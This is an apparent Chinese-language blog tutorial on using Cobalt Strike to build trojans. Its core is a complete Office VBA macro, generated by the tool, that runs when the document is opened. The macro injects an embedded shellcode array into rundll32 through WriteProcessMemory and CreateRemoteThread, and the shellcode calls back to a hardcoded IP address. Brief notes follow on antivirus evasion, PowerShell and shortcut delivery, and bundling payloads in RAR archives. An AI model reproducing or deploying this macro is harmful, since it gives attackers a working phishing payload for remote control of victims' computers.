• Cobalt Strike 工具使用


    免杀 

    安装 需要js环境 

    介绍 

    obalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

        Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等

    画图 流程 

    使用 

    服务器必须带有java环境 

    还有客户端有java环境 

    版本安装 

    在windows(win10)环境下安装java开发环境安装java - 知乎

    使用Java 

    kali 服务端   加权限 

    服务器打开 服务器 

    生成连接 隧道

    哈希值认证 

    客户端

    安装插件   巨龙拉登 这个是域检测工具

    生成木马 

    1.生成exe文件 

    命令执行  shell 

    word文档 

    新建word文档

    工具 

    点完之后生成的 代码 

    Private Type PROCESS_INFORMATION
        hProcess As Long
        hThread As Long
        dwProcessId As Long
        dwThreadId As Long
    End Type

    Private Type STARTUPINFO
        cb As Long
        lpReserved As String
        lpDesktop As String
        lpTitle As String
        dwX As Long
        dwY As Long
        dwXSize As Long
        dwYSize As Long
        dwXCountChars As Long
        dwYCountChars As Long
        dwFillAttribute As Long
        dwFlags As Long
        wShowWindow As Integer
        cbReserved2 As Integer
        lpReserved2 As Long
        hStdInput As Long
        hStdOutput As Long
        hStdError As Long
    End Type

    #If VBA7 Then
        Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
        Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
        Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
        Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
    #Else
        Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
        Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
        Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
        Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
    #End If

    Sub Auto_Open()
        Dim myByte As Long, myArray As Variant, offset As Long
        Dim pInfo As PROCESS_INFORMATION
        Dim sInfo As STARTUPINFO
        Dim sNull As String
        Dim sProc As String

    #If VBA7 Then
        Dim rwxpage As LongPtr, res As LongPtr
    #Else
        Dim rwxpage As Long, res As Long
    #End If
        myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
    13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
    -42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
    -117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
    -43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,80,0,0,0,83,80,104,87,-119,-97, _
    -58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _
    104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _
    -43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _
    -1,-1,47,83,104,107,54,0,79,-90,-34,20,88,-96,64,-111,36,65,-67,-117,122,80,118,52,17,95,-36,-15,-105,99,-99,68,24,-94,101,-98,11,44,-41,6, _
    -7,-28,53,-27,11,-109,-108,119,104,105,35,-17,-5,-101,107,-46,-87,46,20,7,33,-126,81,-102,12,1,114,46,42,-87,-35,-94,38,-122,-128,114,-51,-116,-25,60, _
    -126,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77, _
    83,73,69,32,57,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,87,79,87,54,52,59,32,84,114,105,100,101,110,116,47, _
    53,46,48,59,32,76,66,66,82,79,87,83,69,82,41,13,10,0,-103,-85,-121,-106,23,14,40,-120,9,7,47,69,-67,-91,126,16,18,-16,56,115,-35,-121, _
    53,-72,61,-62,-35,62,118,-76,-24,-48,-70,107,-24,51,87,24,-109,67,-56,87,93,67,-81,104,121,-35,-67,40,99,-59,-72,117,-17,-83,46,-96,79,-23,82,-10, _
    -48,6,61,1,-85,125,107,40,-58,2,61,122,49,98,-99,-33,-103,46,-77,8,-51,41,-90,-98,3,109,-20,-95,-122,-78,-76,-94,78,-43,42,60,88,-30,13,-5, _
    -122,-14,-57,-23,19,-26,-124,48,85,96,31,52,-80,-56,-117,24,-30,-24,48,6,-105,104,109,-13,-114,2,88,109,126,104,-76,-88,-91,-95,-8,-103,-92,-41,-58,39, _
    -128,36,68,-94,-111,88,8,-61,-56,52,-62,-109,51,127,-125,-110,-97,83,107,-87,68,119,23,-13,122,121,121,85,87,102,52,-114,125,-31,64,109,121,42,80,-55, _
    -15,4,15,-51,-127,80,-8,-56,35,121,-89,-59,-127,64,-111,113,79,-51,13,100,-36,-111,-35,-49,-71,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _
    104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _
    -123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,49,57,50,46,49,54,56,46,49,57,57,46,49,54,50,0,58,-34,104,-79)
        If Len(Environ("ProgramW6432")) > 0 Then
            sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
        Else
            sProc = Environ("windir") & "\\System32\\rundll32.exe"
        End If

        res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

        rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
        For offset = LBound(myArray) To UBound(myArray)
            myByte = myArray(offset)
            res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
        Next offset
        res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
    End Sub
    Sub AutoOpen()
        Auto_Open
    End Sub
    Sub Workbook_Open()
        Auto_Open
    End Sub
     

    直接粘贴到宏上 

    完成 

    只要打开就上线   需要公网地址 

    做免杀 

    没有杀毒软件 企业 

    三powershell 上线

    上线方式 

    第二种 

    快捷方式 

    换图片

    四,strager str 木马 

    shellcode   命令解释器代码 

    区别

    stager   上传的时候 没有恶意代码   需要代码  

    less  有代码 完整 

    选择 

    shellcode

    全是16进制  打开木马  查看 

    使用 rar捆绑 

  • 相关阅读:
    springmvc1:初探springmvc
    微信小程序navigateTo进入页面后返回原来的页面需要携带数据回来
    SAP 电商云 Spartacus UI UrlMatcherService 的用法介绍
    karmada 调度策略想要实现,这三个组件必须了解 | K8S Internals 系列第 4 期
    Linux第70步_新字符设备驱动的一般模板
    大学生C#遇到问题请求帮助!
    【电源专题】案例:不导这颗MOS管的原因是在电路上不通用?
    python使用json模块将json数据内容读取出来、进行数据反序列化
    2022-01-22-JDBC
    Vue07/Vue 具名插槽 及 作用域插槽( 带数据插槽 ) 作用介绍和说明
  • 原文地址:https://blog.csdn.net/m0_60328508/article/details/133879307